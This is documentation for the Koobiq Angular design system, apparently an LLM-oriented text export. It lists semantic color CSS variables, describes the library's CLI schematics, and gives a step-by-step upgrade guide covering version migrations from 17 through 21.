`--kbq-semantic-warning-fixed-1`, `--kbq-semantic-warning-fixed-2`, `--kbq-semantic-warning-fixed-3`, `--kbq-semantic-warning-fixed-4`, `--kbq-semantic-warning-fixed-5`, `--kbq-semantic-warning-fixed-6`, `--kbq-semantic-warning-fixed-7`, `--kbq-semantic-warning-fixed-8`, `--kbq-semantic-warning-fixed-9`, `--kbq-semantic-warning-fixed-10`, `--kbq-semantic-warning-fixed-11`, `--kbq-semantic-warning-fixed-12`, `--kbq-semantic-warning-fixed-13`, `--kbq-semantic-warning-fixed-14`, `--kbq-semantic-warning-fixed-15`, `--kbq-semantic-warning-fixed-16`, `--kbq-semantic-warning-fixed-17`, `--kbq-semantic-warning-fixed-18`, `--kbq-semantic-warning-fixed-19`, `--kbq-semantic-warning-fixed-20`

#### WarningFixedA

`--kbq-semantic-warning-fixed-a1`, `--kbq-semantic-warning-fixed-a2`, `--kbq-semantic-warning-fixed-a3`, `--kbq-semantic-warning-fixed-a4`, `--kbq-semantic-warning-fixed-a5`, `--kbq-semantic-warning-fixed-a6`, `--kbq-semantic-warning-fixed-a7`, `--kbq-semantic-warning-fixed-a8`, `--kbq-semantic-warning-fixed-a9`, `--kbq-semantic-warning-fixed-a10`, `--kbq-semantic-warning-fixed-a11`, `--kbq-semantic-warning-fixed-a12`, `--kbq-semantic-warning-fixed-a13`, `--kbq-semantic-warning-fixed-a14`, `--kbq-semantic-warning-fixed-a15`, `--kbq-semantic-warning-fixed-a16`, `--kbq-semantic-warning-fixed-a17`, `--kbq-semantic-warning-fixed-a18`, `--kbq-semantic-warning-fixed-a19`, `--kbq-semantic-warning-fixed-a20`

#### Success

`--kbq-semantic-success-1`, `--kbq-semantic-success-2`, `--kbq-semantic-success-3`, `--kbq-semantic-success-4`, `--kbq-semantic-success-5`, `--kbq-semantic-success-6`, `--kbq-semantic-success-7`, `--kbq-semantic-success-8`, `--kbq-semantic-success-9`, `--kbq-semantic-success-10`, `--kbq-semantic-success-11`, `--kbq-semantic-success-12`, `--kbq-semantic-success-13`, `--kbq-semantic-success-14`, `--kbq-semantic-success-15`, `--kbq-semantic-success-16`, `--kbq-semantic-success-17`, `--kbq-semantic-success-18`, `--kbq-semantic-success-19`, `--kbq-semantic-success-20`

#### SuccessA

`--kbq-semantic-success-a1`, `--kbq-semantic-success-a2`, `--kbq-semantic-success-a3`, `--kbq-semantic-success-a4`, `--kbq-semantic-success-a5`, `--kbq-semantic-success-a6`, `--kbq-semantic-success-a7`, `--kbq-semantic-success-a8`, `--kbq-semantic-success-a9`, `--kbq-semantic-success-a10`, `--kbq-semantic-success-a11`, `--kbq-semantic-success-a12`, `--kbq-semantic-success-a13`, `--kbq-semantic-success-a14`, `--kbq-semantic-success-a15`, `--kbq-semantic-success-a16`, `--kbq-semantic-success-a17`, `--kbq-semantic-success-a18`, `--kbq-semantic-success-a19`, `--kbq-semantic-success-a20`

#### Visited

`--kbq-semantic-visited-1`, `--kbq-semantic-visited-2`, `--kbq-semantic-visited-3`, `--kbq-semantic-visited-4`, `--kbq-semantic-visited-5`, `--kbq-semantic-visited-6`, `--kbq-semantic-visited-7`, `--kbq-semantic-visited-8`, `--kbq-semantic-visited-9`, `--kbq-semantic-visited-10`, `--kbq-semantic-visited-11`, `--kbq-semantic-visited-12`, `--kbq-semantic-visited-13`, `--kbq-semantic-visited-14`, `--kbq-semantic-visited-15`, `--kbq-semantic-visited-16`, `--kbq-semantic-visited-17`, `--kbq-semantic-visited-18`, `--kbq-semantic-visited-19`, `--kbq-semantic-visited-20`

#### VisitedA

`--kbq-semantic-visited-a1`, `--kbq-semantic-visited-a2`, `--kbq-semantic-visited-a3`, `--kbq-semantic-visited-a4`, `--kbq-semantic-visited-a5`, `--kbq-semantic-visited-a6`, `--kbq-semantic-visited-a7`, `--kbq-semantic-visited-a8`, `--kbq-semantic-visited-a9`, `--kbq-semantic-visited-a10`, `--kbq-semantic-visited-a11`, `--kbq-semantic-visited-a12`, `--kbq-semantic-visited-a13`, `--kbq-semantic-visited-a14`, `--kbq-semantic-visited-a15`, `--kbq-semantic-visited-a16`, `--kbq-semantic-visited-a17`, `--kbq-semantic-visited-a18`, `--kbq-semantic-visited-a19`, `--kbq-semantic-visited-a20`

#### DarkContrast

`--kbq-semantic-dark-contrast-1`, `--kbq-semantic-dark-contrast-2`, `--kbq-semantic-dark-contrast-3`, `--kbq-semantic-dark-contrast-4`, `--kbq-semantic-dark-contrast-5`, `--kbq-semantic-dark-contrast-6`, `--kbq-semantic-dark-contrast-7`, `--kbq-semantic-dark-contrast-8`, `--kbq-semantic-dark-contrast-9`, `--kbq-semantic-dark-contrast-10`, `--kbq-semantic-dark-contrast-11`, `--kbq-semantic-dark-contrast-12`, `--kbq-semantic-dark-contrast-13`, `--kbq-semantic-dark-contrast-14`, `--kbq-semantic-dark-contrast-15`, `--kbq-semantic-dark-contrast-16`, `--kbq-semantic-dark-contrast-17`, `--kbq-semantic-dark-contrast-18`, `--kbq-semantic-dark-contrast-19`, `--kbq-semantic-dark-contrast-20`

#### DarkContrastA

`--kbq-semantic-dark-contrast-a1`, `--kbq-semantic-dark-contrast-a2`, `--kbq-semantic-dark-contrast-a3`, `--kbq-semantic-dark-contrast-a4`, `--kbq-semantic-dark-contrast-a5`, `--kbq-semantic-dark-contrast-a6`, `--kbq-semantic-dark-contrast-a7`, `--kbq-semantic-dark-contrast-a8`, `--kbq-semantic-dark-contrast-a9`, `--kbq-semantic-dark-contrast-a10`, `--kbq-semantic-dark-contrast-a11`, `--kbq-semantic-dark-contrast-a12`, `--kbq-semantic-dark-contrast-a13`, `--kbq-semantic-dark-contrast-a14`, `--kbq-semantic-dark-contrast-a15`, `--kbq-semantic-dark-contrast-a16`, `--kbq-semantic-dark-contrast-a17`, `--kbq-semantic-dark-contrast-a18`, `--kbq-semantic-dark-contrast-a19`, `--kbq-semantic-dark-contrast-a20`

#### DarkTheme

`--kbq-semantic-dark-theme-1`, `--kbq-semantic-dark-theme-2`, `--kbq-semantic-dark-theme-3`, `--kbq-semantic-dark-theme-4`, `--kbq-semantic-dark-theme-5`, `--kbq-semantic-dark-theme-6`, `--kbq-semantic-dark-theme-7`, `--kbq-semantic-dark-theme-8`, `--kbq-semantic-dark-theme-9`, `--kbq-semantic-dark-theme-10`, `--kbq-semantic-dark-theme-11`, `--kbq-semantic-dark-theme-12`, `--kbq-semantic-dark-theme-13`, `--kbq-semantic-dark-theme-14`, `--kbq-semantic-dark-theme-15`, `--kbq-semantic-dark-theme-16`, `--kbq-semantic-dark-theme-17`, `--kbq-semantic-dark-theme-18`, `--kbq-semantic-dark-theme-19`, `--kbq-semantic-dark-theme-20`

#### DarkThemeA

`--kbq-semantic-dark-theme-a1`, `--kbq-semantic-dark-theme-a2`, `--kbq-semantic-dark-theme-a3`, `--kbq-semantic-dark-theme-a4`, `--kbq-semantic-dark-theme-a5`, `--kbq-semantic-dark-theme-a6`, `--kbq-semantic-dark-theme-a7`, `--kbq-semantic-dark-theme-a8`, `--kbq-semantic-dark-theme-a9`, `--kbq-semantic-dark-theme-a10`, `--kbq-semantic-dark-theme-a11`, `--kbq-semantic-dark-theme-a12`, `--kbq-semantic-dark-theme-a13`, `--kbq-semantic-dark-theme-a14`, `--kbq-semantic-dark-theme-a15`, `--kbq-semantic-dark-theme-a16`, `--kbq-semantic-dark-theme-a17`, `--kbq-semantic-dark-theme-a18`, `--kbq-semantic-dark-theme-a19`, `--kbq-semantic-dark-theme-a20`

#### DarkError

`--kbq-semantic-dark-error-1`, `--kbq-semantic-dark-error-2`, `--kbq-semantic-dark-error-3`, `--kbq-semantic-dark-error-4`, `--kbq-semantic-dark-error-5`, `--kbq-semantic-dark-error-6`, `--kbq-semantic-dark-error-7`, `--kbq-semantic-dark-error-8`, `--kbq-semantic-dark-error-9`, `--kbq-semantic-dark-error-10`, `--kbq-semantic-dark-error-11`, `--kbq-semantic-dark-error-12`, `--kbq-semantic-dark-error-13`, `--kbq-semantic-dark-error-14`, `--kbq-semantic-dark-error-15`, `--kbq-semantic-dark-error-16`, `--kbq-semantic-dark-error-17`, `--kbq-semantic-dark-error-18`, `--kbq-semantic-dark-error-19`, `--kbq-semantic-dark-error-20`

#### DarkErrorA

`--kbq-semantic-dark-error-a1`, `--kbq-semantic-dark-error-a2`, `--kbq-semantic-dark-error-a3`, `--kbq-semantic-dark-error-a4`, `--kbq-semantic-dark-error-a5`, `--kbq-semantic-dark-error-a6`, `--kbq-semantic-dark-error-a7`, `--kbq-semantic-dark-error-a8`, `--kbq-semantic-dark-error-a9`, `--kbq-semantic-dark-error-a10`, `--kbq-semantic-dark-error-a11`, `--kbq-semantic-dark-error-a12`, `--kbq-semantic-dark-error-a13`, `--kbq-semantic-dark-error-a14`, `--kbq-semantic-dark-error-a15`, `--kbq-semantic-dark-error-a16`, `--kbq-semantic-dark-error-a17`, `--kbq-semantic-dark-error-a18`, `--kbq-semantic-dark-error-a19`, `--kbq-semantic-dark-error-a20`

#### DarkWarning

`--kbq-semantic-dark-warning-1`, `--kbq-semantic-dark-warning-2`, `--kbq-semantic-dark-warning-3`, `--kbq-semantic-dark-warning-4`, `--kbq-semantic-dark-warning-5`, `--kbq-semantic-dark-warning-6`, `--kbq-semantic-dark-warning-7`, `--kbq-semantic-dark-warning-8`, `--kbq-semantic-dark-warning-9`, `--kbq-semantic-dark-warning-10`, `--kbq-semantic-dark-warning-11`, `--kbq-semantic-dark-warning-12`, `--kbq-semantic-dark-warning-13`, `--kbq-semantic-dark-warning-14`, `--kbq-semantic-dark-warning-15`, `--kbq-semantic-dark-warning-16`, `--kbq-semantic-dark-warning-17`, `--kbq-semantic-dark-warning-18`, `--kbq-semantic-dark-warning-19`, `--kbq-semantic-dark-warning-20`

#### DarkWarningA

`--kbq-semantic-dark-warning-a1`, `--kbq-semantic-dark-warning-a2`, `--kbq-semantic-dark-warning-a3`, `--kbq-semantic-dark-warning-a4`, `--kbq-semantic-dark-warning-a5`, `--kbq-semantic-dark-warning-a6`, `--kbq-semantic-dark-warning-a7`, `--kbq-semantic-dark-warning-a8`, `--kbq-semantic-dark-warning-a9`, `--kbq-semantic-dark-warning-a10`, `--kbq-semantic-dark-warning-a11`, `--kbq-semantic-dark-warning-a12`, `--kbq-semantic-dark-warning-a13`, `--kbq-semantic-dark-warning-a14`, `--kbq-semantic-dark-warning-a15`, `--kbq-semantic-dark-warning-a16`, `--kbq-semantic-dark-warning-a17`, `--kbq-semantic-dark-warning-a18`, `--kbq-semantic-dark-warning-a19`, `--kbq-semantic-dark-warning-a20`

#### DarkWarningFixed

`--kbq-semantic-dark-warning-fixed-1`, `--kbq-semantic-dark-warning-fixed-2`, `--kbq-semantic-dark-warning-fixed-3`, `--kbq-semantic-dark-warning-fixed-4`, `--kbq-semantic-dark-warning-fixed-5`, `--kbq-semantic-dark-warning-fixed-6`, `--kbq-semantic-dark-warning-fixed-7`, `--kbq-semantic-dark-warning-fixed-8`, `--kbq-semantic-dark-warning-fixed-9`, `--kbq-semantic-dark-warning-fixed-10`, `--kbq-semantic-dark-warning-fixed-11`, `--kbq-semantic-dark-warning-fixed-12`, `--kbq-semantic-dark-warning-fixed-13`, `--kbq-semantic-dark-warning-fixed-14`, `--kbq-semantic-dark-warning-fixed-15`, `--kbq-semantic-dark-warning-fixed-16`, `--kbq-semantic-dark-warning-fixed-17`, `--kbq-semantic-dark-warning-fixed-18`, `--kbq-semantic-dark-warning-fixed-19`, `--kbq-semantic-dark-warning-fixed-20`

#### DarkWarningFixedA

`--kbq-semantic-dark-warning-fixed-a1`, `--kbq-semantic-dark-warning-fixed-a2`, `--kbq-semantic-dark-warning-fixed-a3`, `--kbq-semantic-dark-warning-fixed-a4`, `--kbq-semantic-dark-warning-fixed-a5`, `--kbq-semantic-dark-warning-fixed-a6`, `--kbq-semantic-dark-warning-fixed-a7`, `--kbq-semantic-dark-warning-fixed-a8`, `--kbq-semantic-dark-warning-fixed-a9`, `--kbq-semantic-dark-warning-fixed-a10`, `--kbq-semantic-dark-warning-fixed-a11`, `--kbq-semantic-dark-warning-fixed-a12`, `--kbq-semantic-dark-warning-fixed-a13`, `--kbq-semantic-dark-warning-fixed-a14`, `--kbq-semantic-dark-warning-fixed-a15`, `--kbq-semantic-dark-warning-fixed-a16`, `--kbq-semantic-dark-warning-fixed-a17`, `--kbq-semantic-dark-warning-fixed-a18`, `--kbq-semantic-dark-warning-fixed-a19`, `--kbq-semantic-dark-warning-fixed-a20`

#### DarkSuccess

`--kbq-semantic-dark-success-1`, `--kbq-semantic-dark-success-2`, `--kbq-semantic-dark-success-3`, `--kbq-semantic-dark-success-4`, `--kbq-semantic-dark-success-5`, `--kbq-semantic-dark-success-6`, `--kbq-semantic-dark-success-7`, `--kbq-semantic-dark-success-8`, `--kbq-semantic-dark-success-9`, `--kbq-semantic-dark-success-10`, `--kbq-semantic-dark-success-11`, `--kbq-semantic-dark-success-12`, `--kbq-semantic-dark-success-13`, `--kbq-semantic-dark-success-14`, `--kbq-semantic-dark-success-15`, `--kbq-semantic-dark-success-16`, `--kbq-semantic-dark-success-17`, `--kbq-semantic-dark-success-18`, `--kbq-semantic-dark-success-19`, `--kbq-semantic-dark-success-20`

#### DarkSuccessA

`--kbq-semantic-dark-success-a1`, `--kbq-semantic-dark-success-a2`, `--kbq-semantic-dark-success-a3`, `--kbq-semantic-dark-success-a4`, `--kbq-semantic-dark-success-a5`, `--kbq-semantic-dark-success-a6`, `--kbq-semantic-dark-success-a7`, `--kbq-semantic-dark-success-a8`, `--kbq-semantic-dark-success-a9`, `--kbq-semantic-dark-success-a10`, `--kbq-semantic-dark-success-a11`, `--kbq-semantic-dark-success-a12`, `--kbq-semantic-dark-success-a13`, `--kbq-semantic-dark-success-a14`, `--kbq-semantic-dark-success-a15`, `--kbq-semantic-dark-success-a16`, `--kbq-semantic-dark-success-a17`, `--kbq-semantic-dark-success-a18`, `--kbq-semantic-dark-success-a19`, `--kbq-semantic-dark-success-a20`

#### DarkVisited

`--kbq-semantic-dark-visited-1`, `--kbq-semantic-dark-visited-2`, `--kbq-semantic-dark-visited-3`, `--kbq-semantic-dark-visited-4`, `--kbq-semantic-dark-visited-5`, `--kbq-semantic-dark-visited-6`, `--kbq-semantic-dark-visited-7`, `--kbq-semantic-dark-visited-8`, `--kbq-semantic-dark-visited-9`, `--kbq-semantic-dark-visited-10`, `--kbq-semantic-dark-visited-11`, `--kbq-semantic-dark-visited-12`, `--kbq-semantic-dark-visited-13`, `--kbq-semantic-dark-visited-14`, `--kbq-semantic-dark-visited-15`, `--kbq-semantic-dark-visited-16`, `--kbq-semantic-dark-visited-17`, `--kbq-semantic-dark-visited-18`, `--kbq-semantic-dark-visited-19`, `--kbq-semantic-dark-visited-20`

#### DarkVisitedA

`--kbq-semantic-dark-visited-a1`, `--kbq-semantic-dark-visited-a2`, `--kbq-semantic-dark-visited-a3`, `--kbq-semantic-dark-visited-a4`, `--kbq-semantic-dark-visited-a5`, `--kbq-semantic-dark-visited-a6`, `--kbq-semantic-dark-visited-a7`, `--kbq-semantic-dark-visited-a8`, `--kbq-semantic-dark-visited-a9`, `--kbq-semantic-dark-visited-a10`, `--kbq-semantic-dark-visited-a11`, `--kbq-semantic-dark-visited-a12`, `--kbq-semantic-dark-visited-a13`, `--kbq-semantic-dark-visited-a14`, `--kbq-semantic-dark-visited-a15`, `--kbq-semantic-dark-visited-a16`, `--kbq-semantic-dark-visited-a17`, `--kbq-semantic-dark-visited-a18`, `--kbq-semantic-dark-visited-a19`, `--kbq-semantic-dark-visited-a20`

## Schematics

- Page: https://koobiq.io/en/main/schematics/overview

As part of the **Koobiq** design system, a set of **schematics** is provided — CLI tools designed to automate library installation, perform migrations, and update components in Angular projects.

---

### Available Schematics

#### ng-add

Installs the [`@koobiq/components`](https://github.com/koobiq/angular-components) library and adds all necessary dependencies.

**When to use:** When adding the library to a project for the first time.

```bash
ng add @koobiq/components
```

#### new-icons-pack

Updates icon prefixes and names required to migrate from version `7.2.x` and below to version `8.0.2` and above.

**When to use:** After upgrading the [`@koobiq/icons`](https://github.com/koobiq/icons) library to version `8.0.2` or later.

```bash
ng generate @koobiq/components:new-icons-pack
```

#### css-selectors

Updates deprecated CSS selectors (typography and color naming) according to the new design system conventions.

**When to use:** After upgrading the [`@koobiq/components`](https://github.com/koobiq/angular-components) library to version `18.6.0` or later.

```bash
ng generate @koobiq/components:css-selectors
```

#### deprecated-icons

Moves icons off the deprecated `pt-icons` font to `kbq` and renames the deprecated icons.

**When to use:** while the project still has `pt-icons` classes (`class="pt-icons pt-icons-<name>"`).

```bash
ng generate @koobiq/components:deprecated-icons
```

#### empty-state-size-attr

Updates size attribute names and values for the [`Empty state`](https://koobiq.io/en/components/empty-state.md) component in both HTML and TypeScript templates.

**When to use:** After upgrading the [`@koobiq/components`](https://github.com/koobiq/angular-components) library to version `18.22.0` or later.

```bash
ng generate @koobiq/components:empty-state-size-attr
```

#### loader-overlay-size-attr

Updates size attribute names and values for the [`Overlay`](https://koobiq.io/en/components/loader-overlay.md) component in both HTML and TypeScript templates.

**When to use:** After upgrading the [`@koobiq/components`](https://github.com/koobiq/angular-components) library to version `18.22.0` or later.

```bash
ng generate @koobiq/components:loader-overlay-size-attr
```

#### icons-replacement

Replaces icon names with new ones.

**When to use:** after updating the [`@koobiq/icons`](https://github.com/koobiq/icons) library version to `11.0.0` and higher.

```bash
ng generate @koobiq/components:icons-replacement
```

#### Icon migrations: which ones and in what order

The three icon schematics are not run by `ng update`; run the ones that match the project yourself, in this order: `icons-replacement` renames the names the other two produce, so it goes last.

| Order | Schematic           | Run it when the project has                                                          |
| ----- | ------------------- | ------------------------------------------------------------------------------------ |
| 1     | `new-icons-pack`    | `@koobiq/icons` below `8.0.2`: the `mc` prefix (`mc-<name>`, `kbq-icon="mc-<name>"`) |
| 2     | `deprecated-icons`  | `pt-icons` classes (`class="pt-icons pt-icons-<name>"`)                              |
| 3     | `icons-replacement` | `@koobiq/icons` below `11.0.0`                                                       |

Each of them only reports what it finds until it is run with `--fix=true`, and each logs which icon mapping it uses. Common options:

- `--project` — a project name or a folder such as `./libs`; without it the whole workspace is migrated. `node_modules` and `dist` are always skipped.
- `--custom-data-path` (`new-icons-pack`, `icons-replacement`) — a JSON file with your own icon mapping, resolved from the workspace root: `[{ "replace": "kbq-add-to-list_16", "replaceWith": "kbq-file-plus-o_16" }]`. Without it the built-in mapping is used.

```bash
ng generate @koobiq/components:new-icons-pack --project ./libs
ng generate @koobiq/components:new-icons-pack --project ./libs --fix=true
```

### How to run a schematic

- Make sure Angular CLI is installed:

```bash
ng version
```

- Run the desired schematic using the `ng generate` command:

```bash
ng generate "@koobiq/components:<schematic-name>"
```

- Some schematics support additional options. See the `schema.json` file inside the corresponding schematic folder.

## Upgrade guide

- Page: https://koobiq.io/en/main/migration/overview

### How to upgrade from Koobiq 17

New versions include improvements but also contain **breaking changes**; they must be applied step by step.

#### Upgrade plan

- **Up to 18.5.3**: a safe baseline with updated theming and icons.
- **18.6**: token update.
- **18.22**: component attribute changes.
- **20.0.0**: the move to Angular 20: removal of deprecated APIs and package renames.
- **20.2.0**: the move of the filter-bar API to signals.
- **20.2.0**: one shared mechanism for dropdown panel width.
- **21.0.0**: the move to Angular 21: zoneless change detection, CSS animations instead of `@angular/animations`, and signal inputs, outputs and queries.
- **21.0.0**: removal of the APIs deprecated before 21.0.0.
- **21.0.0**: removal of `ThemePalette`.
- **21.0.0**: removal of the core API nothing in the library used, and deprecation of its legacy API.
- **21.0.0**: removal of the component API and styles nothing in the library used.
- **21.0.0**: the actions panel overlay container.
- **21.0.0**: legacy splitter deprecation.
- **21.0.0**: removal of the overlay demotion mechanism.
- **21.0.0**: the move of the app-switcher API to signals.
- **21.0.0**: the button review — host attributes, group ownership and styles.
- **21.0.0**: button supported colors — a default color of its own per style.
- **21.0.0**: the button-toggle review — ARIA semantics, keyboard navigation and signal inputs.
- **21.0.0**: the form-field review — signals, accessibility and the removal of `mixinColor`.
- **21.0.0**: the theme service review — signals, `auto` mode and built-in persistence.
- **21.0.0**: explicit prefix and suffix slots for tag content.
- **21.0.0**: deprecation of the overlayscrollbars-based Scrollbar implementation.
- **21.0.0**: the link component instead of the directive — the `kbqLink` selector, slots, `external` and `size`.
- **21.0.0**: the locale layer typing — a typed `getParams`, partial locale data and signals.
- **21.0.0**: `multiple` on the selection list and tree became a real, changeable input.
- **21.0.0**: the component review — closed internals, signal inputs and the behavior fixes it uncovered.
- **21.0.0**: removal of the deprecated file-upload `fileQueueChanged`/`fileQueueChange` outputs.
- **21.0.0**: the accordion state store moved into `core`, shared by every component that persists state.
- **21.0.0**: accordion state saving is on by default, keyed on the document instead of instantiation order.
- **21.0.0**: tree state saving is on by default, keyed on the value the tree control gives each node.
- **21.0.0**: tabs, sidebar and content-panel remember what the user changed, on by default.
- **21.0.0**: the filter bar remembers the selected filter and its edits, on by default.
- **21.0.0**: the tag list cleaner removes the tags itself and leaves the disabled ones in place.
- **21.0.0**: the move to `@koobiq/design-tokens` 4 — a new palette scale, DTCG sources and opt-in component tokens.
- **21.1.0**: the code block loads the highlight.js core instead of the full bundle by default.

#### Upgrade to 18.5.3

```bash
npm install @koobiq/cdk@18.5.3
npm install @koobiq/components@18.5.3
npm install @koobiq/icons@^9.0.0
npm install @koobiq/design-tokens@~3.7.3
npm install @koobiq/angular-luxon-adapter@18.5.3
npm install @koobiq/date-adapter@^3.1.3
npm install @koobiq/date-formatter@^3.1.3
npm install luxon
npm install @messageformat/core
```

##### New theming

Theming is now simpler and built on CSS variables. [Theming. How to use](https://koobiq.io/en/main/theming.md).

Examples:

- [apps/docs/src/main.scss](https://github.com/koobiq/angular-components/blob/main/apps/docs/src/main.scss)
- [apps/docs/src/styles/\_theme-kbq.scss](https://github.com/koobiq/angular-components/blob/main/apps/docs/src/styles/_theme-kbq.scss)

##### Icon package update

Install the new icon version:

```bash
npm install @koobiq/icons@9.1.0
```

To update icon names in templates, use the update tool (schematic):

```bash
ng g @koobiq/angular-components:new-icons-pack --project "<your project>"
```

#### Token update (18.6.x)

Deprecated color tokens were removed and typography parameter tokens were renamed.

The script will rename class and CSS-variable names to the new ones and highlight places where deprecated colors need to be removed (replaced):

```bash
ng g @koobiq/angular-components:css-selectors --fix=true --project "<your project>"
```

For manual review, add `--fix=false`. The script will highlight places where colors and typography names need to be removed (replaced):

```bash
ng g @koobiq/angular-components:css-selectors --fix=false --project "<your project>"
```

#### Attribute update (18.22.0)

Component attribute names have changed:

- **KbqLoaderOverlay**: compact → size
- **KbqEmptyState**: big → size

The schematic replaces the attributes automatically:

```bash
ng g @koobiq/angular-components:loader-overlay-size-attr --project "<your project>"
ng g @koobiq/angular-components:empty-state-size-attr --project "<your project>"
```

#### Upgrade to Angular 20

In version 20.0.0 the library moves to Angular 20. This is a major release: long-deprecated APIs were removed and some packages were renamed. Requirements: **Angular 20+** and **Node.js ≥ 20.19**.

Remove `@koobiq/cdk` from `package.json` — the package has been merged into `@koobiq/components/core`.

##### Running the migration

Most of the changes are applied by the `v20-upgrade` schematic (runs automatically):

```bash
ng update @koobiq/components@20
```

Or manually. To preview without writing — `--fix=false`:

```bash
ng g @koobiq/components:v20-upgrade --project "<your project>"
```

##### What is fixed automatically

**Package moves:**

- @koobiq/components/navbar-ic → navbar
- risk-level → badge
- @koobiq/components-experimental/form-field → @koobiq/components/form-field
- @koobiq/cdk/{a11y,keycodes,testing} → @koobiq/components/core

**Classes, tokens, functions:**

- KbqNavbarIc\* → Kbq\*,
- KbqRiskLevel\* → KbqBadge\*,
- toBoolean → booleanAttribute,
- formatDataSize → getFormattedSizeParts

**Instance methods:**

- KbqAutocompleteTrigger.openPanel() → .open(),
- .toggleIsCollapsed() → .toggle(),
- .focusViaKeyboard() → .focus().

**Templates:**

- kbq-filter-search → kbq-search-expandable,
- kbq-datepicker-toggle → kbq-datepicker-toggle-icon,
- kbqFormFieldWithoutBorders → noBorders,
- \[kbqWarningTooltip] → kbqTooltipModifier="warning" \[kbqTooltip].

**SCSS:**

- .kbq-risk-level → .kbq-badge,
- .kbq-navbar-ic → .kbq-navbar, etc.

##### What you need to fix manually

The schematic emits warnings for what cannot be rewritten safely:

**(onSaveAsNew) on kbq-filters**: listen to `(onSave)` and check `$event.status === 'newFilter'`.

**File upload**. The `[customValidation]` and `[errors]` attributes → `FormControl` validators / `FormControl.errors`.

**App switcher**. `[apps]` → `[sites]="[{ id, name, apps }]"`.

**Validation.** **KbqValidateDirective** and **kbqDisableLegacyValidationDirectiveProvider()** were removed → use **ErrorStateMatcher** (e.g. `ShowOnSubmitErrorStateMatcher`).

**Modals**: ModalOptions.kbqComponentParams → the data field + inject(KBQ\_MODAL\_DATA).

**Code block**: the deprecated `canLoad` / `codeFiles` inputs are renamed to `canDownload` / `files`. Template bindings are migrated automatically, except on a `<kbq-code-block>` that binds the replacement too: it is reported, merge each pair into one binding. Programmatic access (`.canLoad`, `.codeFiles`) must be updated by hand.

#### Filter-bar upgrade (20.2.0)

In version 20.2.0 the public API of `KbqFilterBar` moved to signals. Template bindings (`[filter]`, `[(filter)]`, `[pipeTemplates]`) and the `(filterChange)` output keep working — only programmatic reads break: they now require a call.

| Member                                                                      | Before                  | After                                                    |
| --------------------------------------------------------------------------- | ----------------------- | -------------------------------------------------------- |
| `filter`                                                                    | accessor                | `ModelSignal<KbqFilter \| null>` — write via `.set(...)` |
| `pipeTemplates`                                                             | accessor                | `InputSignal<KbqPipeTemplate[]>`                         |
| `isChanged` / `isDisabled` / `isReadOnly` / `isSaved` / `isSavedAndChanged` | getter                  | `Signal<boolean>`                                        |
| `onChangePipe`                                                              | `EventEmitter<KbqPipe>` | `OutputEmitterRef<KbqPipe>`                              |

##### Running the migration

The changes are applied by the `filter-bar-signals` schematic (runs automatically):

```bash
ng update @koobiq/components@20
```

Or manually — for example, if you have already upgraded to 20.2.0. To preview without writing — `--fix=false`:

```bash
ng g @koobiq/components:filter-bar-signals --project "<your project>"
```

##### What is fixed automatically

**Reads and writes in TypeScript** (for receivers annotated `KbqFilterBar` / `KbqFilterBarHost`):

- filterBar.filter → filterBar.filter(),
- filterBar.filter = next → filterBar.filter.set(next),
- filterBar.filter?.name → filterBar.filter()?.name,
- this.filterBar.isChanged → this.filterBar.isChanged()

**Reads through a template reference variable** (`#ref` on `<kbq-filter-bar>`, in external `.html` files and inline templates):

- ref.isChanged → ref.isChanged()

**Renames:**

- KbqFilterBarRefresher → KbqFilterRefresher (the old name stayed an alias until 21.0.0)

All replacements are idempotent — running the schematic twice does not double the call.

##### What you need to fix manually

The schematic emits warnings for what cannot be rewritten safely:

**KbqFilterBar.changes**: deprecated, no longer emits, removed in 21.0.0 → read `filterBar.filter()` inside an `effect(...)`, or listen to `(filterChange)`.

**KbqFilters.preparePopover()**: removed → `openSaveAsNewFilterPopover()` / `openChangeFilterNamePopover()`.

**viewChild(KbqFilterBar) queries**: return the component instance, so a read becomes a double call — `this.filterBar().filter()`.

**KBQ\_FILTER\_BAR\_PIPES**: now typed `Map<KbqPipeType, Type<KbqBasePipe>>` (was an array of tuples) → wrap the entries in `new Map([...])`.

The schematic does not cover the following changes — check them yourself:

**\[filters] on kbq-filters**: the input became required.

**KbqPipeState.state**: accessor → `InputSignal<T | null>` (relevant for custom pipes).

**KbqPipeTreeSelectComponent**: `template` and `filteredOptions` were removed. On **KbqFilters** the `popoverOffset` and `popoverSize` fields became `protected`.

The schematic matches receivers by explicit type annotation only, so aliases (`const fb = this.filterBar; fb.filter`) are left untouched — fix them by hand.

#### Panel width unification (20.2.0)

In version 20.2.0 `autocomplete`, `select`, `tree-select`, `timezone` and `dropdown` started resolving the width of their dropdown panel through one shared mechanism. They now all expose the same three inputs — `panelWidth`, `panelMinWidth` and `panelMaxWidth` — with the same meaning:

| `panelWidth`           | Panel width                                                              |
| ---------------------- | ------------------------------------------------------------------------ |
| not set (default)      | sizes to its content, never narrower than the trigger or `panelMinWidth` |
| `'auto'`               | matches the trigger, never narrower than `panelMinWidth`                 |
| a number or CSS string | exactly that width; `panelMinWidth` is not applied                       |

Panels are now also capped at **640px** through the `--kbq-panel-size-width-max` token. The cap is soft: it limits how far a panel grows with its content, but it never makes a panel narrower than its trigger and never clamps an explicit `panelWidth`. Change it globally by setting the token on `:root`, per component through the component's own token (`--kbq-dropdown-size-container-width-max` still works), or per instance through `panelMaxWidth`.

##### Running the migration

The `autocomplete-panel-width-auto` schematic runs automatically:

```bash
ng update @koobiq/components@20
```

Or manually:

```bash
ng g @koobiq/components:autocomplete-panel-width-auto --project "<your project>"
```

##### What is fixed automatically

**`panelWidth="auto"` on `<kbq-autocomplete>`** → `panelWidth="fit-content"`. On autocomplete, `auto` used to be passed to CSS verbatim, so the panel shrank to fit its content. It now means "match the host width", as it already did on `kbq-select`. `fit-content` preserves the old behaviour. Both the static (`panelWidth="auto"`) and bound (`[panelWidth]="'auto'"`) forms are rewritten; a dynamic value (`[panelWidth]="expr"`) is skipped with a warning.

`auto` still type-checks and still renders, the panel is just laid out differently — it isn't the only silent change in this release though, see the `panelWidth={{0}}` note below.

##### What you need to fix manually

**`panelWidth`, `panelMinWidth` and `panelMaxWidth` are signal inputs.** Reads now require a call, and writes are no longer possible — this is the one change in this release without an automated path, because there is no runtime equivalent of writing to a signal input from outside.

```ts
// Before
@ViewChild(KbqSelect) select: KbqSelect;
this.select.panelWidth = 'auto';
const w = this.select.panelWidth;

// After — bind from the template instead
// <kbq-select [panelWidth]="panelWidth">
panelWidth: KbqPanelWidth = 'auto';
const w = this.select.panelWidth();
```

